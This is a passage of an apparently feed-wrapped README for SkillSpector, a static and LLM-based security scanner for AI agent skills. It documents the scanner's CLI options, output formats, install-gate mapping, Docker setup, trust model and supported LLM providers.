and exit\n\n# Generate a baseline of all current findings (see docs/SUPPRESSION.md)\nskillspector baseline &lt;path&gt; [-o FILE] [--no-llm] [--reason TEXT]\n</code></pre> \n<p>Report files and new baselines use private permissions (0600). Existing baselines retain their access metadata when safely replaced; updates requiring in-place writes are refused. All file output uses atomic replacement. The parent directory must be writable; symlinked parents and non-regular destinations such as devices are refused. On macOS, ancestor directories must also be readable. File output requires POSIX no-follow directory operations and is unavailable on Windows. Unsupported file output fails before analysis. Omit <code>--output</code> for scan/batch stdout, or use <code>skillspector baseline &lt;path&gt; -o -</code> for JSON on stdout, then redirect only to a trusted destination. Run Docker with your user ID as above so you can read its files.</p> \n<h2>Integrating SkillSpector</h2> \n<p>SkillSpector is built to be driven by other tools (CI pipelines, install gates, editor integrations). Its exit code and JSON output are a stable contract.</p> \n<h3>Exit codes</h3> \n<p><code>skillspector scan</code> exits with:</p> \n<table> \n <thead> \n  <tr> \n   <th>Code</th> \n   <th>Meaning</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>0</code></td> \n   <td>Scan completed, <code>risk_score</code> \u2264 50 (recommendation <code>SAFE</code> or <code>CAUTION</code>), and no enabled strict gate fired</td> \n  </tr> \n  <tr> \n   <td><code>1</code></td> \n   <td>Scan completed and either <code>risk_score</code> &gt; 50, <code>--fail-on-findings</code> found an active finding, <code>--fail-on-incomplete</code> found partial/incomplete analysis, or <code>--min-coverage</code> found coverage below its threshold</td> \n  </tr> \n  <tr> \n   <td><code>2</code></td> \n   <td>Error (bad input, unreadable source, internal failure)</td> \n  </tr> \n </tbody> \n</table> \n<blockquote> \n <p>By default, the exit code collapses <code>SAFE</code> and <code>CAUTION</code> into <code>0</code>. Use <code>--fail-on-findings</code> to gate on any active finding, <code>--fail-on-incomplete</code> to gate on incomplete coverage, <code>--min-coverage PERCENT</code> to gate on a coverage floor, or read the JSON <code>recommendation</code> field for custom policy.</p> \n</blockquote> \n<h3>Machine-readable output</h3> \n<p><code>--format json</code> produces a JSON report; with no <code>--output</code>/<code>-o</code> it is written to stdout:</p> \n<pre><code class=\"language-bash\">skillspector scan ./my-skill/ --format json\n</code></pre> \n<p>The top-level shape is (this example shows a full LLM-backed scan; with <code>--no-llm</code>, <code>metadata.llm_requested</code> is <code>false</code>):</p> \n<pre><code class=\"language-json\">{\n  \"skill\": { \"name\": \"...\", \"source\": \"...\", \"scanned_at\": \"&lt;ISO 8601&gt;\" },\n  \"risk_assessment\": { \"score\": 0, \"severity\": \"LOW\", \"recommendation\": \"SAFE\" },\n  \"components\": [ { \"path\": \"...\", \"type\": \"...\", \"lines\": 0, \"executable\": false, \"size_bytes\": 0 } ],\n  \"issues\": [ { \"id\": \"...\", \"category\": \"...\", \"severity\": \"...\", \"confidence\": 0.0, \"location\": { \"file\": \"...\", \"start_line\": 0 } } ],\n  \"metadata\": {\n    \"has_executable_scripts\": false,\n    \"skillspector_version\": \"...\",\n    \"llm_requested\": true,\n    \"llm_available\": true,\n    \"inference_usage\": [\n      {\n        \"node\": \"semantic_security_discovery\",\n        \"request_kind\": \"structured_output\",\n        \"provider\": \"nv_inference\",\n        \"model\": \"azure/anthropic/claude-opus-4-6\",\n        \"model_source\": \"provider_response\",\n        \"usage_source\": \"provider_response\",\n        \"prompt_tokens\": 1000,\n        \"completion_tokens\": 100,\n        \"cached_tokens\": 400,\n        \"cache_write_tokens\": 50,\n        \"total_tokens\": 1100\n      }\n    ]\n  }\n}\n</code></pre> \n<ul> \n <li><code>risk_assessment.severity</code> \u2208 <code>LOW | MEDIUM | HIGH | CRITICAL</code>.</li> \n <li><code>risk_assessment.recommendation</code> \u2208 <code>SAFE | CAUTION | DO_NOT_INSTALL</code>, mapped from severity: <code>LOW \u2192 SAFE</code>, <code>MEDIUM \u2192 CAUTION</code>, <code>HIGH</code>/<code>CRITICAL \u2192 DO_NOT_INSTALL</code>.</li> \n <li><code>metadata.llm_error</code> appears only when LLM analysis was requested but unavailable.</li> \n <li>Archive-member components retain their virtual <code>path</code> and include <code>outer_path</code>, <code>nested_path</code>, and container provenance. Virtual paths identify in-memory members, not on-disk files; see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/NESTED_ARTIFACT_INSPECTION.md#json-component-locations\">JSON component locations</a>.</li> \n <li>AE1 findings use <strong>Incomplete referenced artifact analysis</strong>. Their source location identifies the reference; <code>evidence</code> identifies the affected target, analyzer reasons, and available bounds. Review the target's completeness ledger when <code>reasons_truncated</code> is true. See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md#diagnosing-incomplete-referenced-artifacts\">referenced-artifact diagnostics and Perl help text</a> for interpretation and corrective actions.</li> \n <li><code>metadata.inference_usage</code> contains one sanitized record per LLM response when the provider exposes token counters. It is an empty list when usage is unavailable; SkillSpector never estimates missing tokens. Prompt totals are inclusive of cache reads and writes so downstream pricing can separate those partitions safely. <code>model_source</code> distinguishes an independently identified provider model from the exact requested model used when response identity is absent or ambiguous. SkillSpector does not currently send Anthropic prompt-cache controls, so its scan requests cannot select the separate 5-minute or 1-hour cache-write tiers; TTL-specific response fields are normalized defensively into the aggregate cache-write counter.</li> \n <li>See <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/INFERENCE_USAGE.md\">Inference usage telemetry</a> for the complete provenance, cache-accounting, privacy, fail-closed ingestion, and downstream pricing contract.</li> \n <li>The full per-issue shape is defined by <code>Finding.to_dict()</code> in <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/src/skillspector/models.py\">models.py</a>; rely on the fields above and treat any additional fields as best-effort.</li> \n</ul> \n<p>For CI/IDE tooling, <code>--format sarif</code> emits SARIF 2.1.0. Each result carries its security severity; rule descriptors carry a score only when all of their results share that severity. Mixed-severity rules remain unannotated, so consumers that read only rule-level severity cannot distinguish their result severities. Recursive scans chain each percent-encoded skill-directory URI through an absolute scan-root file URI. External dependency locations retain their source provenance instead of being rebased into the local skill directory.</p> \n<h3>Recommended gate mapping</h3> \n<p>When using SkillSpector as an install gate, map the recommendation to an action:</p> \n<table> \n <thead> \n  <tr> \n   <th><code>recommendation</code></th> \n   <th>Suggested action</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SAFE</code></td> \n   <td>allow</td> \n  </tr> \n  <tr> \n   <td><code>CAUTION</code></td> \n   <td>prompt / warn the user</td> \n  </tr> \n  <tr> \n   <td><code>DO_NOT_INSTALL</code></td> \n   <td>block</td> \n  </tr> \n </tbody> \n</table> \n<p>SkillSpector computes the score band and recommendation; how strict the gate is (e.g. whether <code>CAUTION</code> blocks in CI) is a policy decision for the integrating tool.</p> \n<h2>Development</h2> \n<h3>Setup</h3> \n<p>All <code>make</code> targets assume a virtual environment is already created and activated. The Makefile uses <strong>uv</strong> if available, else <strong>pip</strong>.</p> \n<pre><code class=\"language-bash\"># Clone, create venv, activate, install dev dependencies\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\nuv venv .venv &amp;&amp; source .venv/bin/activate\n# or: python3 -m venv .venv &amp;&amp; source .venv/bin/activate\nmake install-dev\n\n# Run tests\nmake test\n\n# Run tests with coverage\nmake test-cov\n\n# Run linting\nmake lint\n\n# Format code\nmake format\n</code></pre> \n<h2>How It Works</h2> \n<p>SkillSpector uses a two-stage detection pipeline:</p> \n<h3>Stage 1: Static Analysis</h3> \n<ul> \n <li>Fast regex-based pattern matching across 11 static analyzers</li> \n <li>AST-based behavioral analysis detecting dangerous calls (exec, eval, subprocess, etc.)</li> \n <li>Live vulnerability lookups via OSV.dev for known CVEs in dependencies</li> \n <li>Scans all analyzer-eligible files in the skill</li> \n <li>High recall (catches most issues)</li> \n <li>Moderate precision (some false positives)</li> \n</ul> \n<p>OpenSSF Model Signing / DSSE bundles remain in content analysis, regardless of filename. Static and LLM analyzers inspect decoded JSON payloads, readable DER certificate/signature content, and all unknown wrapper fields. Strictly parsed binary fields are projected rather than treated as executable base64; canonical bytes remain available to YARA and fingerprints. Unsupported encodings (including environments without the optional <code>cryptography</code> dependency) retain raw fields and produce an explicit incomplete-analysis warning. Findings in decoded content point to the original bundle and label their projection in evidence. None of this verifies signatures, certificate chains, transparency logs, or signer identity.</p> \n<h3>Stage 2: LLM Semantic Analysis (Optional)</h3> \n<ul> \n <li>Evaluates context and intent</li> \n <li>Confirmed findings may gain an explanation and higher confidence, never lower</li> \n <li>Every deterministic finding stays in the report whether the model confirms it, disputes it, or does not address it</li> \n <li>Findings the model reviews but does not confirm (disputed, low-confidence, or unaddressed) are tagged <code>llm-unconfirmed</code> in JSON and SARIF output</li> \n <li>Findings whose review fails are kept without that tag; <code>evidence.llm_review_outcome</code> distinguishes <code>confirmed</code>, <code>disagreed</code>, <code>low-confidence</code>, <code>missing</code>, and <code>failed</code> in JSON and SARIF output</li> \n <li>Results depend on the configured model and prompt context; Stage 2 does not replace deterministic findings or guarantee a particular precision rate</li> \n</ul> \n<p>The LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.</p> \n<h2>Live Vulnerability Lookups (SC4)</h2> \n<p>SC4 uses the <a href=\"https://osv.dev\">OSV.dev</a> API to check dependencies against the full Open Source Vulnerabilities database \u2014 covering tens of thousands of advisories across PyPI and npm.</p> \n<ul> \n <li><strong>No API key required</strong> \u2014 OSV.dev is free and unauthenticated.</li> \n <li><strong>Batch queries</strong> \u2014 all dependencies are checked in a single HTTP call.</li> \n <li><strong>Automatic fallback</strong> \u2014 if OSV.dev is unreachable (air-gapped/offline), a small built-in fallback list is used.</li> \n <li><strong>Caching</strong> \u2014 results are cached in-memory for 1 hour to avoid redundant API calls during a session.</li> \n</ul> \n<p>The tool requires outbound HTTPS access to <code>api.osv.dev</code> for live vulnerability data. When that is not available, findings are limited to the static fallback list.</p> \n<h2>Trust model and data egress</h2> \n<p>SkillSpector is defense-in-depth, not a sandbox. Know what it does and does not do before relying on it:</p> \n<ul> \n <li><strong>It never executes the scanned skill.</strong> All analysis is static (regex, Python AST, YARA) plus optional LLM evaluation of file <em>contents</em> \u2014 the skill's code is never run.</li> \n <li><strong>LLM analysis sends analyzer-eligible file contents to the configured provider.</strong> When LLM analysis is enabled (the default), file contents are sent to the active <code>SKILLSPECTOR_PROVIDER</code> endpoint. DSSE payloads and readable signing metadata are included. Use <code>--no-llm</code> to keep contents local (static analysis only).</li> \n <li><strong>SC4 sends dependency names to OSV.dev.</strong> The supply-chain check queries <a href=\"https://osv.dev\">OSV.dev</a> with the package names and versions the skill declares, to look up known CVEs. This is fundamental to the check and runs even with <code>--no-llm</code>. It sends dependency coordinates (not file contents), requires no API key, and falls back to a bundled list when OSV.dev is unreachable.</li> \n <li><strong>It does not sandbox the host.</strong> SkillSpector flags risky patterns <em>before</em> you install a skill; it does not contain or isolate a skill you choose to install anyway.</li> \n</ul> \n<h2>Limitations</h2> \n<ul> \n <li><strong>Non-English content</strong>: May miss patterns in other languages</li> \n <li><strong>Image-based attacks</strong>: Cannot analyze text in images</li> \n <li><strong>Encrypted/binary code</strong>: Cannot analyze compiled or encrypted content</li> \n <li><strong>Runtime behavior</strong>: Static analysis only, no dynamic execution</li> \n <li><strong>Offline SC4</strong>: Without network access to <code>api.osv.dev</code>, SC4 uses a small static fallback list</li> \n</ul> \n<h2>Research Background</h2> \n<p>Based on research from \"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale\" (Liu et al., 2026):</p> \n<ul> \n <li><strong>Dataset</strong>: 42,447 skills from major marketplaces; 31,132 were analyzed for the following rates</li> \n <li><strong>Vulnerable</strong>: 26.1% of the analyzed subset contain at least one vulnerability</li> \n <li><strong>High-severity</strong>: 5.2% of the analyzed subset show likely malicious intent</li> \n <li><strong>Key finding</strong>: Skills with executable scripts are 2.12x more likely to be vulnerable</li> \n</ul> \n<h2>Python API Integration</h2> \n<pre><code class=\"language-python\">from skillspector import graph\n\n# Invoke the LangGraph workflow\nresult = graph.invoke({\n    \"input_path\": \"/path/to/skill\",\n    \"output_format\": \"json\",   # terminal, json, markdown, or sarif\n    \"use_llm\": True,           # False for static-only analysis\n})\n\n# Access results\nprint(f\"Risk Score: {result['risk_score']}/100\")\nprint(f\"Severity: {result['risk_severity']}\")\nprint(f\"Recommendation: {result['risk_recommendation']}\")\n\nfor finding in result[\"filtered_findings\"]:\n    print(f\"[{finding['severity']}] {finding['rule_id']}: {finding['message']}\")\n</code></pre> \n<h2>License</h2> \n<p>Apache License 2.0 - see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/LICENSE\">LICENSE</a> for details.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome! Please read our contributing guidelines and submit pull requests.</p> \n<h2>Support</h2> \n<ul> \n <li><strong>Issues</strong>: <a href=\"https://github.com/NVIDIA/skillspector/issues\">GitHub Issues</a></li> \n</ul>", "summary": "<p>Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://docs.nvidia.com/skills/scanning-agent-skills\">https://docs.nvidia.com/skills/scanning-agent-skills</a></p><hr /><h1>SkillSpector</h1> \n<p><strong>Security scanner for AI agent skills.</strong> Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.</p> \n<p><a href=\"https://www.python.org/downloads/\"><img alt=\"Python 3.12+\" src=\"https://img.shields.io/badge/python-3.12+-blue.svg?sanitize=true\" /></a> <a href=\"https://www.apache.org/licenses/LICENSE-2.0\"><img alt=\"License: Apache 2.0\" src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg?sanitize=true\" /></a></p> \n<h2>Overview</h2> \n<p>AI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. In the 31,132-skill analyzed subset of the research dataset, <strong>26.1% of skills contain vulnerabilities</strong> and <strong>5.2% show likely malicious intent</strong>.</p> \n<p>SkillSpector helps you answer: <strong>\"Is this skill safe to install?\"</strong></p> \n<p>SkillSpector is part of the <a href=\"https://docs.nvidia.com/skills/\">NVIDIA Verified Skills pipeline</a>, which scans, evaluates, and signs agent skills before publication. Skills that pass are published to the <a href=\"https://github.com/NVIDIA/skills\">NVIDIA skills catalog</a>.</p> \n<h2>Documentation</h2> \n<ul> \n <li><strong><a href=\"https://docs.nvidia.com/skills/scanning-agent-skills\">Scan agent skills before installation</a></strong> \u2014 Hosted guide: when to scan, how to read a report, and how to gate installs.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/DEVELOPMENT.md\">Development guide</a></strong> \u2014 Architecture, package layout, and how to extend the analyzer pipeline.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/ANALYSIS_RESOURCE_BOUNDS.md\">Analysis resource bounds</a></strong> \u2014 Fail-closed bundle, parser, nested-artifact, ledger, and finding ceilings.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/PI_EXTENSION.md\">Pi extension</a></strong> \u2014 Install SkillSpector as a Pi tool for scanning skills from inside agent sessions.</li> \n <li><strong><a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/OPENCODE_EXTENSION.md\">OpenCode extension</a></strong> \u2014 Install SkillSpector as an OpenCode tool and <code>/skillspector</code> command for scanning skills from inside agent sessions.</li> \n</ul> \n<h2>Features</h2> \n<ul> \n <li><strong>Multi-format input</strong>: Scan Git repos, URLs, zip files, directories, or single files</li> \n <li><strong>71 vulnerability patterns</strong> across 17 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, anti-refusal, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege, and MCP tool poisoning</li> \n <li><strong>Two-stage analysis</strong>: Fast static analysis + optional LLM semantic evaluation</li> \n <li><strong>Live vulnerability lookups</strong>: SC4 queries <a href=\"https://osv.dev\">OSV.dev</a> for real-time CVE data with automatic offline fallback</li> \n <li><strong>Multiple output formats</strong>: Terminal, JSON, Markdown, and SARIF reports</li> \n <li><strong>Risk scoring</strong>: 0-100 score with severity labels and clear recommendations</li> \n <li><strong>Baseline / false-positive suppression</strong>: Accept known findings via a glob-rule or fingerprint baseline so re-scans surface only <em>new</em> issues (<a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/SUPPRESSION.md\">docs</a>)</li> \n</ul> \n<h2>Quick Start</h2> \n<h3>Installation</h3> \n<blockquote> \n <p><strong>Open-source software notice:</strong> This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use.</p> \n</blockquote> \n<p>Create and activate a virtual environment first (all <code>make</code> targets assume the venv is active). Use <strong>uv</strong> or <strong>pip</strong>; the Makefile uses <code>uv</code> if available, otherwise <code>pip</code>.</p> \n<p><strong>Quick install with uv (CLI-only):</strong></p> \n<pre><code class=\"language-bash\">uv tool install git+https://github.com/NVIDIA/skillspector.git\n# Update later: uv tool update skillspector\n</code></pre> \n<p>If you plan to run <code>skillspector mcp</code>, install the MCP extra at install time:</p> \n<pre><code class=\"language-bash\">uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n</code></pre> \n<p><strong>From source:</strong></p> \n<pre><code class=\"language-bash\"># Clone the repository\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\n\n# Create and activate virtual environment\nuv venv .venv &amp;&amp; source .venv/bin/activate\n# or: python3 -m venv .venv &amp;&amp; source .venv/bin/activate\n\n# Install for production use\nmake install\n\n# Or install with development dependencies\nmake install-dev\n</code></pre> \n<h3>Docker (no Python required)</h3> \n<p>Run SkillSpector without installing Python by building it locally from the included <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/Dockerfile\">Dockerfile</a>. The image is based on the Docker Official Python <code>3.12-slim-bookworm</code> image.</p> \n<p><strong>Build the image:</strong></p> \n<pre><code class=\"language-bash\">make docker-build\n# or: docker build -t skillspector .\n</code></pre> \n<p><strong>Scan a local directory</strong> by mounting your current directory into <code>/scan</code>, the container's working directory:</p> \n<pre><code class=\"language-bash\">docker run --rm -v \"$PWD:/scan\" skillspector scan ./my-skill/ --no-llm\n</code></pre> \n<p><strong>Scan with LLM analysis</strong> by passing credentials with a local <code>.env</code> file:</p> \n<pre><code class=\"language-bash\">cat &gt; .env &lt;&lt;'EOF'\nSKILLSPECTOR_PROVIDER=anthropic\nANTHROPIC_API_KEY=sk-ant-...\nEOF\n</code></pre> \n<pre><code class=\"language-bash\">docker run --rm \\\n  -v \"$PWD:/scan\" \\\n  --env-file .env \\\n  skillspector scan ./my-skill/\n</code></pre> \n<p>Or pass credentials directly from your shell environment:</p> \n<pre><code class=\"language-bash\">docker run --rm \\\n  -v \"$PWD:/scan\" \\\n  -e SKILLSPECTOR_PROVIDER=anthropic \\\n  -e ANTHROPIC_API_KEY=\"$ANTHROPIC_API_KEY\" \\\n  skillspector scan ./my-skill/\n</code></pre> \n<p><strong>Write a report to the host filesystem</strong> by writing to the mounted directory:</p> \n<pre><code class=\"language-bash\">docker run --rm --user \"$(id -u):$(id -g)\" \\\n  -v \"$PWD:/scan\" \\\n  skillspector scan ./my-skill/ --no-llm --format json --output report.json\n</code></pre> \n<p><strong>Optional alias</strong> for repeated static scans:</p> \n<pre><code class=\"language-bash\">alias skillspector-docker='docker run --rm -v \"$PWD:/scan\" skillspector'\nskillspector-docker scan ./my-skill/ --no-llm\n</code></pre> \n<h3>Basic Usage</h3> \n<pre><code class=\"language-bash\"># Scan a local skill directory\nskillspector scan ./my-skill/\n\n# Scan a single SKILL.md file\nskillspector scan ./SKILL.md\n\n# Scan a Git repository\nskillspector scan https://github.com/user/my-skill\n\n# Scan a zip file\nskillspector scan ./my-skill.zip\n</code></pre> \n<h4>Size limits</h4> \n<p>SkillSpector enforces two independent caps on remote and archive inputs to bound the impact of oversized downloads and zip bombs:</p> \n<ul> \n <li><strong>Per-ingest cap</strong>: <code>INGEST_MAX_BYTES</code> (100 MiB) \u2014 applied to streamed URL downloads, total uncompressed size of zip archives, and post-clone disk usage of Git repos.</li> \n <li><strong>Zip member cap</strong>: <code>INGEST_MAX_ZIP_MEMBERS</code> (10,000) \u2014 caps the number of entries in a single zip.</li> \n</ul> \n<p>Note that the per-file 1 MB analysis cap (<code>MAX_FILE_BYTES</code>) is a separate, downstream limit: it bounds what individual analyzers will read out of an already-ingested directory. The ingest caps above bound how much content can land on disk in the first place. A breach of either ingest cap fails closed with an <code>IngestLimitExceededError</code>.</p> \n<h3>Output Formats</h3> \n<pre><code class=\"language-bash\"># Terminal output (default) - pretty formatted\nskillspector scan ./my-skill/\n\n# JSON output - machine readable\nskillspector scan ./my-skill/ --format json --output report.json\n\n# Markdown output - for documentation\nskillspector scan ./my-skill/ --format markdown --output report.md\n\n# SARIF output - for CI/CD integration and IDE tooling\nskillspector scan ./my-skill/ --format sarif --output report.sarif\n</code></pre> \n<h3>Batch Scanning</h3> \n<p>Scan entire directories of skills in parallel from <code>contrib/batch_scan/</code>:</p> \n<pre><code class=\"language-bash\">python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm\npython -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json\npython -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20\n</code></pre> \n<p>Supports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.</p> \n<p>For LLM scans with higher concurrency, configure multiple API keys following <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/contrib/batch_scan/.env.example\"><code>.env.example</code></a> \u2014 the pool improves throughput and resilience, provided the keys don't share an account-level rate limit.</p> \n<p>See the <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/contrib/batch_scan/docs/\">contrib guide</a> for details.</p> \n<blockquote> \n <p><strong>Note on LLM support:</strong> The default configuration targets DeepSeek as the cheapest public option. DeepSeek-Chat is <a href=\"https://api-docs.deepseek.com/\">expected to sunset</a>, and the contributor does not have hardware to test against local models. The batch scanner was originally tested with OpenAI-compatible endpoints \u2014 DeepSeek's lack of structured-output support required manual JSON-parsing patches. If you can contribute a more universal backend (Ollama, vLLM, or a different provider), PRs are very welcome.</p> \n</blockquote> \n<h3>Comparing MCP Registry snapshots</h3> \n<p>Start with raw registry payload captures (<code>registry-before.json</code> and <code>registry-after.json</code>). Save a scan report as <code>previous.json</code>, then compare a later scan against that generated local report:</p> \n<pre><code class=\"language-bash\">skillspector scan registry-before.json --mcp-registry --format json --output previous.json\nskillspector scan registry-after.json --mcp-registry --format json \\\n  --mcp-registry-compare previous.json --output compared.json\n</code></pre> \n<p>The optional <code>comparison</code> object lists added and removed server identities, changed normalized fields with their previous and current values, and an <code>unchanged_count</code>. Identity is the server name and version, so a new version appears as an addition and the old version as a removal if it is absent from the new scan. Acquisition source and scan timestamp are excluded from comparison. <code>unmodeled_changes</code> lists same-identity records whose raw-record hash changed while normalized fields match; these are not counted as unchanged. This can indicate a change to fields outside the snapshot model, or array reordering in the raw record. Package and remote ordering alone is not a normalized field change. Entries in <code>changed</code> may also contain changes outside the snapshot model; inspect the raw record to see those changes. Compare reports with the same selection scope: a server absent from the current input is reported as removed, which does not prove it was removed from a registry.</p> \n<p>The comparison file must be a local report produced by this registry mode with valid normalized snapshots. Malformed, oversized or duplicate server identities are rejected. This option requires <code>--mcp-registry</code> and is separate from the finding-suppression <code>--baseline</code>: it never suppresses findings or changes risk scores, and it does not fetch or execute listed server endpoints.</p> \n<p>Registry mode rejects skill-only controls such as <code>--use-shipped-baseline</code>, <code>--transitive</code>, <code>--transitive-depth</code>, <code>--transitive-allow-prefix</code>, and <code>--transitive-deny-prefix</code> with exit code 2, including an explicitly supplied default depth (<code>--transitive-depth 1</code>). Omit these options for registry scans.</p> \n<h3>Suppressing False Positives (baseline)</h3> \n<p>Suppress known/accepted findings so the risk score reflects only un-triaged issues and re-scans surface only <em>new</em> findings. See the <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/docs/SUPPRESSION.md\">suppression guide</a> for the full reference.</p> \n<pre><code class=\"language-bash\"># Accept all current findings into a baseline (run once), then commit it.\nskillspector baseline ./my-skill/ -o .skillspector-baseline.yaml\n\n# Scan against the baseline \u2014 only NEW findings are reported and scored.\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml\n\n# Review what was suppressed (still excluded from the score).\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed\n</code></pre> \n<p>A baseline can also use drift-tolerant glob rules (by rule id, file path, or message) \u2014 see <a href=\"https://raw.githubusercontent.com/NVIDIA/SkillSpector/main/.skillspector-baseline.example.yaml\"><code>.skillspector-baseline.example.yaml</code></a>. Exact fingerprint baselines are evidence-bound: changing the scanned source or SkillSpector version keeps the finding active until it is reviewed again. When a selected baseline or baseline output is stored inside the skill directory, SkillSpector excludes that exact file from content analysis so its suppression text cannot create findings or enter regenerated fingerprints; sibling files remain in normal scan scope.</p> \n<h3>Explicit scan scope</h3> \n<p>For a local directory containing one <code>SKILL.md</code> or <code>skill.md</code>, repeat <code>--exclude</code> to omit selected files before content analysis:</p> \n<pre><code class=\"language-bash\">skillspector scan ./my-skill --exclude 'tests/*' --exclude 'fixtures/*.json'\n</code></pre> \n<p>Patterns are case-sensitive globs matched against the entire relative POSIX path; <code>*</code> also matches <code>/</code>. Quote patterns so your shell does not expand them. This is an explicit caller option, not an author-controlled ignore file. Patterns matching either manifest name (<code>SKILL.md</code> or <code>skill.md</code>) are rejected, as are recursive, multi-skill, transitive, registry, and non-directory inputs. No-match patterns are still recorded in the report.</p> \n<p>Files already outside the scan inventory, such as policy-excluded dependencies, retain their existing policy handling and are not counted as caller exclusions. Explicitly excluded inventory files remain in the coverage denominator as entirely uninspected. The report lists the applied patterns, excluded count and individual skipped paths; any matched exclusion makes coverage partial and prevents a <code>SAFE</code> recommendation. Use <code>--fail-on-incomplete</code> when partial scope should fail CI. These exclusions do not suppress findings in included files or override existing safety limits.</p> \n<h3>LLM Analysis</h3> \n<p>For the best results, configure an OpenAI-compatible LLM endpoint for semantic analysis. Pick a provider with <code>SKILLSPECTOR_PROVIDER</code>; hosted providers ship bundled default models, while CLI providers fall back to the local runtime's default model unless <code>SKILLSPECTOR_MODEL</code> is set. SkillSpector also works against local OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed inference gateways.</p> \n<table> \n <thead> \n  <tr> \n   <th>Provider (<code>SKILLSPECTOR_PROVIDER</code>)</th> \n   <th>Credential env var</th> \n   <th>Endpoint</th> \n   <th>Default model</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>openai</code></td> \n   <td><code>OPENAI_API_KEY</code> (+ optional <code>OPENAI_BASE_URL</code>)</td> \n   <td><a href=\"http://api.openai.com\">api.openai.com</a> (or any OpenAI-compatible URL)</td> \n   <td><code>gpt-5.4</code></td> \n  </tr> \n  <tr> \n   <td><code>anthropic</code></td> \n   <td><code>ANTHROPIC_API_KEY</code></td> \n   <td><a href=\"http://api.anthropic.com\">api.anthropic.com</a></td> \n   <td><code>claude-opus-4-6</code> (<code>meta_analyzer</code>: <code>claude-sonnet-4-6</code>)</td> \n  </tr> \n  <tr> \n   <td><code>anthropic_proxy</code></td> \n   <td><code>ANTHROPIC_PROXY_API_KEY</code> + <code>ANTHROPIC_PROXY_ENDPOINT_URL</code></td> \n   <td>Any Vertex-style raw-predict proxy</td> \n   <td><code>claude-sonnet-4-6</code></td> \n  </tr> \n  <tr> \n   <td><code>bedrock</code></td> \n   <td><code>AWS_PROFILE</code> (optional) + <code>AWS_REGION</code> \u2014 SigV4 via boto3</td> \n   <td>AWS Bedrock Runtime</td> \n   <td><code>us.anthropic.claude-sonnet-4-6</code></td> \n  </tr> \n  <tr> \n   <td><code>nv_build</code></td> \n   <td><code>NVIDIA_INFERENCE_KEY</code></td> \n   <td><a href=\"http://build.nvidia.com\">build.nvidia.com</a></td> \n   <td><code>z-ai/glm-5.3</code></td> \n  </tr> \n  <tr> \n   <td><code>gemini</code></td> \n   <td><code>GOOGLE_CLOUD_PROJECT</code> (+ optional <code>GOOGLE_CLOUD_LOCATION</code>) via ADC</td> \n   <td>Google Cloud OpenAI-compatible Gemini endpoint</td> \n   <td><code>gemini-3.8-flash</code></td> \n  </tr> \n  <tr> \n   <td><code>ollama</code></td> \n   <td><em>(none)</em></td> \n   <td><code>OLLAMA_BASE_URL</code> (default <code>http://localhost:11434/v1</code>)</td> \n   <td><code>llama3.1:8b</code></td> \n  </tr> \n  <tr> \n   <td><code>azure_openai</code></td> \n   <td><code>AZURE_OPENAI_API_KEY</code> + <code>AZURE_OPENAI_ENDPOINT</code></td> \n   <td>Azure OpenAI Service</td> \n   <td><code>gpt-4o</code> (deployment defaults to the model label)</td> \n  </tr> \n  <tr> \n   <td><code>openai_compatible</code></td> \n   <td><code>SKILLSPECTOR_COMPAT_API_KEY</code> + <code>SKILLSPECTOR_COMPAT_BASE_URL</code></td> \n   <td>Any OpenAI-compatible endpoint</td> \n   <td><code>llama-3.1-70b-versatile</code></td> \n  </tr> \n  <tr> \n   <td><code>claude_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>claude</code> binary</td> \n   <td>local Claude runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n  <tr> \n   <td><code>codex_cli</code></td> \n   <td>Disabled</td> \n   <td>Registered for 